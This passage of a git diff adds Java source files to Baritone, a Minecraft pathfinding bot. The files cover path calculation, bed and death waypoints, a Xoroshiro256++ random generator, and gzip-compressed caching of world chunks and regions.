Baritone.settings().planAheadFailureTimeoutMS.value; + } + AbstractNodeCostSearch pathfinder = createPathfinder(start, goal, current == null ? null : current.getPath(), context); + if (!Objects.equals(pathfinder.getGoal(), goal)) { // will return the exact same object if simplification didn't happen + logDebug("Simplifying " + goal.getClass() + " to GoalXZ due to distance"); + } + inProgress = pathfinder; + Baritone.getExecutor().execute(() -> { + if (talkAboutIt) { + logDebug("Starting to search for path from " + start + " to " + goal); + } + + PathCalculationResult calcResult = pathfinder.calculate(primaryTimeout, failureTimeout); + synchronized (pathPlanLock) { + Optional executor = calcResult.getPath().map(p -> new PathExecutor(PathingBehavior.this, p)); + if (current == null) { + if (executor.isPresent()) { + if (executor.get().getPath().positions().contains(expectedSegmentStart)) { + queuePathEvent(PathEvent.CALC_FINISHED_NOW_EXECUTING); + current = executor.get(); + resetEstimatedTicksToGoal(start); + } else { + logDebug("Warning: discarding orphan path segment with incorrect start"); + } + } else { + if (calcResult.getType() != PathCalculationResult.Type.CANCELLATION && calcResult.getType() != PathCalculationResult.Type.EXCEPTION) { + // don't dispatch CALC_FAILED on cancellation + queuePathEvent(PathEvent.CALC_FAILED); + } + } + } else { + if (next == null) { + if (executor.isPresent()) { + if (executor.get().getPath().getSrc().equals(current.getPath().getDest())) { + queuePathEvent(PathEvent.NEXT_SEGMENT_CALC_FINISHED); + next = executor.get(); + } else { + logDebug("Warning: discarding orphan next segment with incorrect start"); + } + } else { + queuePathEvent(PathEvent.NEXT_CALC_FAILED); + } + } else { + //throw new IllegalStateException("I have no idea what to do with this path"); + // no point in throwing an exception here, and it gets it stuck with inProgress being not null + logDirect("Warning: PathingBehaivor illegal state! Discarding invalid path!"); + } + } + if (talkAboutIt && current != null && current.getPath() != null) { + if (goal.isInGoal(current.getPath().getDest())) { + logDebug("Finished finding a path from " + start + " to " + goal + ". " + current.getPath().getNumNodesConsidered() + " nodes considered"); + } else { + logDebug("Found path segment from " + start + " towards " + goal + ". " + current.getPath().getNumNodesConsidered() + " nodes considered"); + } + } + synchronized (pathCalcLock) { + inProgress = null; + } + } + }); + } + + private static AbstractNodeCostSearch createPathfinder(BlockPos start, Goal goal, IPath previous, CalculationContext context) { + Goal transformed = goal; + if (Baritone.settings().simplifyUnloadedYCoord.value && goal instanceof IGoalRenderPos) { + BlockPos pos = ((IGoalRenderPos) goal).getGoalPos(); + if (!context.bsi.worldContainsLoadedChunk(pos.getX(), pos.getZ())) { + transformed = new GoalXZ(pos.getX(), pos.getZ()); + } + } + Favoring favoring = new Favoring(context.getBaritone().getPlayerContext(), previous, context); + return new AStarPathFinder(start.getX(), start.getY(), start.getZ(), transformed, favoring, context); + } + + @Override + public void onRenderPass(RenderEvent event) { + PathRenderer.render(event, this); + } +} diff --git a/src/baritone/behavior/WaypointBehavior.java b/src/baritone/behavior/WaypointBehavior.java new file mode 100644 index 00000000..b8609bac --- /dev/null +++ b/src/baritone/behavior/WaypointBehavior.java @@ -0,0 +1,93 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior; + +import baritone.Baritone; +import baritone.api.cache.IWaypoint; +import baritone.api.cache.Waypoint; +import baritone.api.event.events.BlockInteractEvent; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import baritone.utils.BlockStateInterface; +import net.minecraft.block.BedBlock; +import net.minecraft.block.BlockState; +import net.minecraft.state.properties.BedPart; +import net.minecraft.util.text.IFormattableTextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.Set; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; + +public class WaypointBehavior extends Behavior { + + + public WaypointBehavior(Baritone baritone) { + super(baritone); + } + + @Override + public void onBlockInteract(BlockInteractEvent event) { + if (!Baritone.settings().doBedWaypoints.value) + return; + if (event.getType() == BlockInteractEvent.Type.USE) { + BetterBlockPos pos = BetterBlockPos.from(event.getPos()); + BlockState state = BlockStateInterface.get(ctx, pos); + if (state.getBlock() instanceof BedBlock) { + if (state.get(BedBlock.PART) == BedPart.FOOT) { + pos = pos.offset(state.get(BedBlock.HORIZONTAL_FACING)); + } + Set waypoints = baritone.getWorldProvider().getCurrentWorld().getWaypoints().getByTag(IWaypoint.Tag.BED); + boolean exists = waypoints.stream().map(IWaypoint::getLocation).filter(pos::equals).findFirst().isPresent(); + if (!exists) { + baritone.getWorldProvider().getCurrentWorld().getWaypoints().addWaypoint(new Waypoint("bed", Waypoint.Tag.BED, pos)); + } + } + } + } + + @Override + public void onPlayerDeath() { + if (!Baritone.settings().doDeathWaypoints.value) + return; + Waypoint deathWaypoint = new Waypoint("death", Waypoint.Tag.DEATH, ctx.playerFeet()); + baritone.getWorldProvider().getCurrentWorld().getWaypoints().addWaypoint(deathWaypoint); + IFormattableTextComponent component = new StringTextComponent("Death position saved."); + component.setStyle(component.getStyle() + .setFormatting(TextFormatting.WHITE) + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to goto death") + )) + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format( + "%s%s goto %s @ %d", + FORCE_COMMAND_PREFIX, + "wp", + deathWaypoint.getTag().getName(), + deathWaypoint.getCreationTimestamp() + ) + ))); + Helper.HELPER.logDirect(component); + } + +} diff --git a/src/baritone/behavior/look/ForkableRandom.java b/src/baritone/behavior/look/ForkableRandom.java new file mode 100644 index 00000000..5f5f942d --- /dev/null +++ b/src/baritone/behavior/look/ForkableRandom.java @@ -0,0 +1,85 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior.look; + +import java.util.Arrays; +import java.util.concurrent.atomic.AtomicLong; +import java.util.function.LongSupplier; + +/** + * Implementation of Xoroshiro256++ + *

+ * Extended to produce random double-precision floating point numbers, and allow copies to be spawned via {@link #fork}, + * which share the same internal state as the source object. + * + * @author Brady + */ +public final class ForkableRandom { + + private static final double DOUBLE_UNIT = 0x1.0p-53; + + private final long[] s; + + public ForkableRandom() { + this(System.nanoTime() ^ System.currentTimeMillis()); + } + + public ForkableRandom(long seedIn) { + final AtomicLong seed = new AtomicLong(seedIn); + final LongSupplier splitmix64 = () -> { + long z = seed.addAndGet(0x9e3779b97f4a7c15L); + z = (z ^ (z >>> 30)) * 0xbf58476d1ce4e5b9L; + z = (z ^ (z >>> 27)) * 0x94d049bb133111ebL; + return z ^ (z >>> 31); + }; + this.s = new long[] { + splitmix64.getAsLong(), + splitmix64.getAsLong(), + splitmix64.getAsLong(), + splitmix64.getAsLong() + }; + } + + private ForkableRandom(long[] s) { + this.s = s; + } + + public double nextDouble() { + return (this.next() >>> 11) * DOUBLE_UNIT; + } + + public long next() { + final long result = rotl(this.s[0] + this.s[3], 23) + this.s[0]; + final long t = this.s[1] << 17; + this.s[2] ^= this.s[0]; + this.s[3] ^= this.s[1]; + this.s[1] ^= this.s[2]; + this.s[0] ^= this.s[3]; + this.s[2] ^= t; + this.s[3] = rotl(this.s[3], 45); + return result; + } + + public ForkableRandom fork() { + return new ForkableRandom(Arrays.copyOf(this.s, 4)); + } + + private static long rotl(long x, int k) { + return (x << k) | (x >>> (64 - k)); + } +} diff --git a/src/baritone/cache/CachedChunk.java b/src/baritone/cache/CachedChunk.java new file mode 100644 index 00000000..556a7e3c --- /dev/null +++ b/src/baritone/cache/CachedChunk.java @@ -0,0 +1,290 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.api.utils.BlockUtils; +import baritone.utils.pathing.PathingBlockType; +import com.google.common.collect.ImmutableSet; +import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.util.RegistryKey; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.World; + +import java.util.ArrayList; +import java.util.BitSet; +import java.util.List; +import java.util.Map; + +/** + * @author Brady + * @since 8/3/2018 + */ +public final class CachedChunk { + + public static final ImmutableSet BLOCKS_TO_KEEP_TRACK_OF = ImmutableSet.of( + Blocks.ENDER_CHEST, + Blocks.FURNACE, + Blocks.CHEST, + Blocks.TRAPPED_CHEST, + Blocks.END_PORTAL, + Blocks.END_PORTAL_FRAME, + Blocks.SPAWNER, + Blocks.BARRIER, + Blocks.OBSERVER, + Blocks.WHITE_SHULKER_BOX, + Blocks.ORANGE_SHULKER_BOX, + Blocks.MAGENTA_SHULKER_BOX, + Blocks.LIGHT_BLUE_SHULKER_BOX, + Blocks.YELLOW_SHULKER_BOX, + Blocks.LIME_SHULKER_BOX, + Blocks.PINK_SHULKER_BOX, + Blocks.GRAY_SHULKER_BOX, + Blocks.LIGHT_GRAY_SHULKER_BOX, + Blocks.CYAN_SHULKER_BOX, + Blocks.PURPLE_SHULKER_BOX, + Blocks.BLUE_SHULKER_BOX, + Blocks.BROWN_SHULKER_BOX, + Blocks.GREEN_SHULKER_BOX, + Blocks.RED_SHULKER_BOX, + Blocks.BLACK_SHULKER_BOX, + Blocks.NETHER_PORTAL, + Blocks.HOPPER, + Blocks.BEACON, + Blocks.BREWING_STAND, + +// TODO: Maybe add a predicate for blocks to keep track of? +// This should really not need to happen + Blocks.CREEPER_HEAD, + Blocks.CREEPER_WALL_HEAD, + Blocks.DRAGON_HEAD, + Blocks.DRAGON_WALL_HEAD, + Blocks.PLAYER_HEAD, + Blocks.PLAYER_WALL_HEAD, + Blocks.ZOMBIE_HEAD, + Blocks.ZOMBIE_WALL_HEAD, + Blocks.SKELETON_SKULL, + Blocks.SKELETON_WALL_SKULL, + Blocks.WITHER_SKELETON_SKULL, + Blocks.WITHER_SKELETON_WALL_SKULL, + Blocks.ENCHANTING_TABLE, + Blocks.ANVIL, + Blocks.WHITE_BED, + Blocks.ORANGE_BED, + Blocks.MAGENTA_BED, + Blocks.LIGHT_BLUE_BED, + Blocks.YELLOW_BED, + Blocks.LIME_BED, + Blocks.PINK_BED, + Blocks.GRAY_BED, + Blocks.LIGHT_GRAY_BED, + Blocks.CYAN_BED, + Blocks.PURPLE_BED, + Blocks.BLUE_BED, + Blocks.BROWN_BED, + Blocks.GREEN_BED, + Blocks.RED_BED, + Blocks.BLACK_BED, + Blocks.DRAGON_EGG, + Blocks.JUKEBOX, + Blocks.END_GATEWAY, + Blocks.COBWEB, + Blocks.NETHER_WART, + Blocks.LADDER, + Blocks.VINE + ); + + /** + * The size of the chunk data in bits. Equal to 16 KiB. + *

+ * Chunks are 16x16x256, each block requires 2 bits. + */ + public static final int SIZE = 2 * 16 * 16 * 256; + + /** + * The size of the chunk data in bytes. Equal to 16 KiB. + */ + public static final int SIZE_IN_BYTES = SIZE / 8; + + /** + * The chunk x coordinate + */ + public final int x; + + /** + * The chunk z coordinate + */ + public final int z; + + /** + * The actual raw data of this packed chunk. + *

+ * Each block is expressed as 2 bits giving a total of 16 KiB + */ + private final BitSet data; + + private final Int2ObjectOpenHashMap special; + + /** + * The block names of each surface level block for generating an overview + */ + private final BlockState[] overview; + + private final int[] heightMap; + + private final Map> specialBlockLocations; + + public final long cacheTimestamp; + + CachedChunk(int x, int z, BitSet data, BlockState[] overview, Map> specialBlockLocations, long cacheTimestamp) { + validateSize(data); + + this.x = x; + this.z = z; + this.data = data; + this.overview = overview; + this.heightMap = new int[256]; + this.specialBlockLocations = specialBlockLocations; + this.cacheTimestamp = cacheTimestamp; + if (specialBlockLocations.isEmpty()) { + this.special = null; + } else { + this.special = new Int2ObjectOpenHashMap<>(); + setSpecial(); + } + calculateHeightMap(); + } + + private final void setSpecial() { + for (Map.Entry> entry : specialBlockLocations.entrySet()) { + for (BlockPos pos : entry.getValue()) { + special.put(getPositionIndex(pos.getX(), pos.getY(), pos.getZ()), entry.getKey()); + } + } + } + + public final BlockState getBlock(int x, int y, int z, RegistryKey dimension) { + int index = getPositionIndex(x, y, z); + PathingBlockType type = getType(index); + int internalPos = z << 4 | x; + if (heightMap[internalPos] == y && type != PathingBlockType.AVOID) { + // if the top block in a column is water, we cache it as AVOID but we don't want to just return default state water (which is not flowing) beacuse then it would try to path through it + + // we have this exact block, it's a surface block + /*System.out.println("Saying that " + x + "," + y + "," + z + " is " + state); + if (!Minecraft.getInstance().world.getBlockState(new BlockPos(x + this.x * 16, y, z + this.z * 16)).getBlock().equals(state.getBlock())) { + throw new IllegalStateException("failed " + Minecraft.getInstance().world.getBlockState(new BlockPos(x + this.x * 16, y, z + this.z * 16)).getBlock() + " " + state.getBlock() + " " + (x + this.x * 16) + " " + y + " " + (z + this.z * 16)); + }*/ + return overview[internalPos]; + } + if (special != null) { + String str = special.get(index); + if (str != null) { + return BlockUtils.stringToBlockRequired(str).getDefaultState(); + } + } + + if (type == PathingBlockType.SOLID) { + if (y == 127 && dimension == World.THE_NETHER) { + // nether roof is always unbreakable + return Blocks.BEDROCK.getDefaultState(); + } + if (y < 5 && dimension == World.OVERWORLD) { + // solid blocks below 5 are commonly bedrock + // however, returning bedrock always would be a little yikes + // discourage paths that include breaking blocks below 5 a little more heavily just so that it takes paths breaking what's known to be stone (at 5 or above) instead of what could maybe be bedrock (below 5) + return Blocks.OBSIDIAN.getDefaultState(); + } + } + return ChunkPacker.pathingTypeToBlock(type, dimension); + } + + private PathingBlockType getType(int index) { + return PathingBlockType.fromBits(data.get(index), data.get(index + 1)); + } + + private void calculateHeightMap() { + for (int z = 0; z < 16; z++) { + for (int x = 0; x < 16; x++) { + int index = z << 4 | x; + heightMap[index] = 0; + for (int y = 256; y >= 0; y--) { + int i = getPositionIndex(x, y, z); + if (data.get(i) || data.get(i + 1)) { + heightMap[index] = y; + break; + } + } + } + } + } + + public final BlockState[] getOverview() { + return overview; + } + + public final Map> getRelativeBlocks() { + return specialBlockLocations; + } + + public final ArrayList getAbsoluteBlocks(String blockType) { + if (specialBlockLocations.get(blockType) == null) { + return null; + } + ArrayList res = new ArrayList<>(); + for (BlockPos pos : specialBlockLocations.get(blockType)) { + res.add(new BlockPos(pos.getX() + x * 16, pos.getY(), pos.getZ() + z * 16)); + } + return res; + } + + /** + * @return Returns the raw packed chunk data as a byte array + */ + public final byte[] toByteArray() { + return this.data.toByteArray(); + } + + /** + * Returns the raw bit index of the specified position + * + * @param x The x position + * @param y The y position + * @param z The z position + * @return The bit index + */ + public static int getPositionIndex(int x, int y, int z) { + return (x << 1) | (z << 5) | (y << 9); + } + + /** + * Validates the size of an input {@link BitSet} containing the raw + * packed chunk data. Sizes that exceed {@link CachedChunk#SIZE} are + * considered invalid, and thus, an exception will be thrown. + * + * @param data The raw data + * @throws IllegalArgumentException if the bitset size exceeds the maximum size + */ + private static void validateSize(BitSet data) { + if (data.size() > SIZE) { + throw new IllegalArgumentException("BitSet of invalid length provided"); + } + } +} diff --git a/src/baritone/cache/CachedRegion.java b/src/baritone/cache/CachedRegion.java new file mode 100644 index 00000000..bdbe43a6 --- /dev/null +++ b/src/baritone/cache/CachedRegion.java @@ -0,0 +1,360 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.Baritone; +import baritone.api.cache.ICachedRegion; +import baritone.api.utils.BlockUtils; +import net.minecraft.block.BlockState; +import net.minecraft.util.RegistryKey; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.World; + +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.*; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +/** + * @author Brady + * @since 8/3/2018 + */ +public final class CachedRegion implements ICachedRegion { + + private static final byte CHUNK_NOT_PRESENT = 0; + private static final byte CHUNK_PRESENT = 1; + + /** + * Magic value to detect invalid cache files, or incompatible cache files saved in an old version of Baritone + */ + private static final int CACHED_REGION_MAGIC = 456022910; + + /** + * All of the chunks in this region: A 32x32 array of them. + */ + private final CachedChunk[][] chunks = new CachedChunk[32][32]; + + /** + * The region x coordinate + */ + private final int x; + + /** + * The region z coordinate + */ + private final int z; + + private final RegistryKey dimension; + + /** + * Has this region been modified since its most recent load or save + */ + private boolean hasUnsavedChanges; + + CachedRegion(int x, int z, RegistryKey dimension) { + this.x = x; + this.z = z; + this.hasUnsavedChanges = false; + this.dimension = dimension; + } + + @Override + public final BlockState getBlock(int x, int y, int z) { + CachedChunk chunk = chunks[x >> 4][z >> 4]; + if (chunk != null) { + return chunk.getBlock(x & 15, y, z & 15, dimension); + } + return null; + } + + @Override + public final boolean isCached(int x, int z) { + return chunks[x >> 4][z >> 4] != null; + } + + public final ArrayList getLocationsOf(String block) { + ArrayList res = new ArrayList<>(); + for (int chunkX = 0; chunkX < 32; chunkX++) { + for (int chunkZ = 0; chunkZ < 32; chunkZ++) { + if (chunks[chunkX][chunkZ] == null) { + continue; + } + ArrayList locs = chunks[chunkX][chunkZ].getAbsoluteBlocks(block); + if (locs != null) { + res.addAll(locs); + } + } + } + return res; + } + + public final synchronized void updateCachedChunk(int chunkX, int chunkZ, CachedChunk chunk) { + this.chunks[chunkX][chunkZ] = chunk; + hasUnsavedChanges = true; + } + + + public synchronized final void save(String directory) { + if (!hasUnsavedChanges) { + return; + } + removeExpired(); + try { + Path path = Paths.get(directory); + if (!Files.exists(path)) { + Files.createDirectories(path); + + } + System.out.println("Saving region " + x + "," + z + " to disk " + path); + Path regionFile = getRegionFile(path, this.x, this.z); + if (!Files.exists(regionFile)) { + Files.createFile(regionFile); + } + try ( + FileOutputStream fileOut = new FileOutputStream(regionFile.toFile()); + GZIPOutputStream gzipOut = new GZIPOutputStream(fileOut, 16384); + DataOutputStream out = new DataOutputStream(gzipOut) + ) { + out.writeInt(CACHED_REGION_MAGIC); + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + CachedChunk chunk = this.chunks[x][z]; + if (chunk == null) { + out.write(CHUNK_NOT_PRESENT); + } else { + out.write(CHUNK_PRESENT); + byte[] chunkBytes = chunk.toByteArray(); + out.write(chunkBytes); + // Messy, but fills the empty 0s that should be trailing to fill up the space. + out.write(new byte[CachedChunk.SIZE_IN_BYTES - chunkBytes.length]); + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (chunks[x][z] != null) { + for (int i = 0; i < 256; i++) { + out.writeUTF(BlockUtils.blockToString(chunks[x][z].getOverview()[i].getBlock())); + } + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (chunks[x][z] != null) { + Map> locs = chunks[x][z].getRelativeBlocks(); + out.writeShort(locs.entrySet().size()); + for (Map.Entry> entry : locs.entrySet()) { + out.writeUTF(entry.getKey()); + out.writeShort(entry.getValue().size()); + for (BlockPos pos : entry.getValue()) { + out.writeByte((byte) (pos.getZ() << 4 | pos.getX())); + out.writeByte((byte) (pos.getY())); + } + } + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (chunks[x][z] != null) { + out.writeLong(chunks[x][z].cacheTimestamp); + } + } + } + } + hasUnsavedChanges = false; + System.out.println("Saved region successfully"); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + + public synchronized void load(String directory) { + try { + Path path = Paths.get(directory); + if (!Files.exists(path)) { + Files.createDirectories(path); + } + + Path regionFile = getRegionFile(path, this.x, this.z); + if (!Files.exists(regionFile)) { + return; + } + + System.out.println("Loading region " + x + "," + z + " from disk " + path); + long start = System.nanoTime() / 1000000L; + + try ( + FileInputStream fileIn = new FileInputStream(regionFile.toFile()); + GZIPInputStream gzipIn = new GZIPInputStream(fileIn, 32768); + DataInputStream in = new DataInputStream(gzipIn) + ) { + int magic = in.readInt(); + if (magic != CACHED_REGION_MAGIC) { + // in the future, if we change the format on disk + // we can keep converters for the old format + // by switching on the magic value, and either loading it normally, or loading through a converter. + throw new IOException("Bad magic value " + magic); + } + boolean[][] present = new boolean[32][32]; + BitSet[][] bitSets = new BitSet[32][32]; + Map>[][] location = new Map[32][32]; + BlockState[][][] overview = new BlockState[32][32][]; + long[][] cacheTimestamp = new long[32][32]; + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + int isChunkPresent = in.read(); + switch (isChunkPresent) { + case CHUNK_PRESENT: + byte[] bytes = new byte[CachedChunk.SIZE_IN_BYTES]; + in.readFully(bytes); + bitSets[x][z] = BitSet.valueOf(bytes); + location[x][z] = new HashMap<>(); + overview[x][z] = new BlockState[256]; + present[x][z] = true; + break; + case CHUNK_NOT_PRESENT: + break; + default: + throw new IOException("Malformed stream"); + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (present[x][z]) { + for (int i = 0; i < 256; i++) { + overview[x][z][i] = BlockUtils.stringToBlockRequired(in.readUTF()).getDefaultState(); + } + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (present[x][z]) { + // 16 * 16 * 256 = 65536 so a short is enough + // ^ haha jokes on leijurv, java doesn't have unsigned types so that isn't correct + // also why would you have more than 32767 special blocks in a chunk + // haha double jokes on you now it works for 65535 not just 32767 + int numSpecialBlockTypes = in.readShort() & 0xffff; + for (int i = 0; i < numSpecialBlockTypes; i++) { + String blockName = in.readUTF(); + BlockUtils.stringToBlockRequired(blockName); + List locs = new ArrayList<>(); + location[x][z].put(blockName, locs); + int numLocations = in.readShort() & 0xffff; + if (numLocations == 0) { + // an entire chunk full of air can happen in the end + numLocations = 65536; + } + for (int j = 0; j < numLocations; j++) { + byte xz = in.readByte(); + int X = xz & 0x0f; + int Z = (xz >>> 4) & 0x0f; + int Y = in.readByte() & 0xff; + locs.add(new BlockPos(X, Y, Z)); + } + } + } + } + } + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (present[x][z]) { + cacheTimestamp[x][z] = in.readLong(); + } + } + } + // only if the entire file was uncorrupted do we actually set the chunks + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (present[x][z]) { + int regionX = this.x; + int regionZ = this.z; + int chunkX = x + 32 * regionX; + int chunkZ = z + 32 * regionZ; + this.chunks[x][z] = new CachedChunk(chunkX, chunkZ, bitSets[x][z], overview[x][z], location[x][z], cacheTimestamp[x][z]); + } + } + } + } + removeExpired(); + hasUnsavedChanges = false; + long end = System.nanoTime() / 1000000L; + System.out.println("Loaded region successfully in " + (end - start) + "ms"); + } catch (Exception ex) { // corrupted files can cause NullPointerExceptions as well as IOExceptions + ex.printStackTrace(); + } + } + + public synchronized final void removeExpired() { + long expiry = Baritone.settings().cachedChunksExpirySeconds.value; + if (expiry < 0) { + return; + } + long now = System.currentTimeMillis(); + long oldestAcceptableAge = now - expiry * 1000L; + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (this.chunks[x][z] != null && this.chunks[x][z].cacheTimestamp < oldestAcceptableAge) { + System.out.println("Removing chunk " + (x + 32 * this.x) + "," + (z + 32 * this.z) + " because it was cached " + (now - this.chunks[x][z].cacheTimestamp) / 1000L + " seconds ago, and max age is " + expiry); + this.chunks[x][z] = null; + } + } + } + } + + public synchronized final CachedChunk mostRecentlyModified() { + CachedChunk recent = null; + for (int x = 0; x < 32; x++) { + for (int z = 0; z < 32; z++) { + if (this.chunks[x][z] == null) { + continue; + } + if (recent == null || this.chunks[x][z].cacheTimestamp > recent.cacheTimestamp) { + recent = this.chunks[x][z]; + } + } + } + return recent; + } + + /** + * @return The region x coordinate + */ + @Override + public final int getX() { + return this.x; + } + + /** + * @return The region z coordinate + */ + @Override + public final int getZ() { + return this.z; + } + + private static Path getRegionFile(Path cacheDir, int regionX, int regionZ) { + return Paths.get(cacheDir.toString(), "r." + regionX + "." + regionZ + ".bcr"); + } +} diff --git a/src/baritone/cache/CachedWorld.java b/src/baritone/cache/CachedWorld.java new file mode 100644 index 00000000..1d0e5f6c --- /dev/null +++ b/src/baritone/cache/CachedWorld.java @@ -0,0 +1,328 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.cache; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.cache.ICachedWorld; +import baritone.api.cache.IWorldData; +import baritone.api.utils.Helper; +import it.unimi.dsi.fastutil.longs.Long2ObjectMap; +import it.unimi.dsi.fastutil.longs.Long2ObjectOpenHashMap; +import net.minecraft.util.RegistryKey; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.ChunkPos; +import net.minecraft.world.World; +import net.minecraft.world.chunk.Chunk; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.LinkedBlockingQueue; + +/** + * @author Brady + * @since 8/4/2018 + */ +public final class CachedWorld implements ICachedWorld, Helper { + + /** + * The maximum number of regions in any direction from (0,0) + */ + private static final int REGION_MAX = 30_000_000 / 512 + 1; + + /** + * A map of all of the cached regions. + */ + private Long2ObjectMap cachedRegions = new Long2ObjectOpenHashMap<>(); + + /** + * The directory that the cached region files are saved to + */ + private final String directory; + + /** + * Queue of positions to pack. Refers to the toPackMap, in that every element of this queue will be a + * key in that map. + */ + private final LinkedBlockingQueue toPackQueue = new LinkedBlockingQueue<>(); + + /** + * All chunk positions pending packing. This map will be updated in-place if a new update to the chunk occurs + * while waiting in the queue for the packer thread to get to it. + */ + private final Map toPackMap = new ConcurrentHashMap<>(); + + private final RegistryKey dimension; + + CachedWorld(Path directory, RegistryKey dimension) { + if (!Files.exists(directory)) { + try { + Files.createDirectories(directory); + } catch (IOException ignored) { + } + } + this.directory = directory.toString(); + this.dimension = dimension; + System.out.println("Cached world directory: " + directory); + Baritone.getExecutor().execute(new PackerThread()); + Baritone.getExecutor().execute(() -> { + try { + Thread.sleep(30000); + while (true) { + // since a region only saves if it's been modified since its last save + // saving every 10 minutes means that once it's time to exit + // we'll only have a couple regions to save + save(); + Thread.sleep(600000); + } + } catch (InterruptedException e) { + e.printStackTrace(); + } + }); + } + + @Override + public final void queueForPacking(Chunk chunk) { + if (toPackMap.put(chunk.getPos(), chunk) == null) { + toPackQueue.add(chunk.getPos()); + } + } + + @Override + public final boolean isCached(int blockX, int blockZ) { + CachedRegion region = getRegion(blockX >> 9, blockZ >> 9); + if (region == null) { + return false; + } + return region.isCached(blockX & 511, blockZ & 511); + } + + public final boolean regionLoaded(int blockX, int blockZ) { + return getRegion(blockX >> 9, blockZ >> 9) != null; + } + + @Override + public final ArrayList getLocationsOf(String block, int maximum, int centerX, int centerZ, int maxRegionDistanceSq) { + ArrayList res = new ArrayList<>(); + int centerRegionX = centerX >> 9; + int centerRegionZ = centerZ >> 9; + + int searchRadius = 0; + while (searchRadius <= maxRegionDistanceSq) { + for (int xoff = -searchRadius; xoff <= searchRadius; xoff++) { + for (int zoff = -searchRadius; zoff <= searchRadius; zoff++) { + int distance = xoff * xoff + zoff * zoff; + if (distance != searchRadius) { + continue; + } + int regionX = xoff + centerRegionX; + int regionZ = zoff + centerRegionZ; + CachedRegion region = getOrCreateRegion(regionX, regionZ); + if (region != null) { + // TODO: 100% verify if this or addAll is faster. + res.addAll(region.getLocationsOf(block)); + } + } + } + if (res.size() >= maximum) { + return res; + } + searchRadius++; + } + return res; + } + + private void updateCachedChunk(CachedChunk chunk) { + CachedRegion region = getOrCreateRegion(chunk.x >> 5, chunk.z >> 5); + region.updateCachedChunk(chunk.x & 31, chunk.z & 31, chunk); + } + + @Override + public final void save() { + if (!Baritone.settings().chunkCaching.value) { + System.out.println("Not saving to disk; chunk caching is disabled."); + allRegions().forEach(region 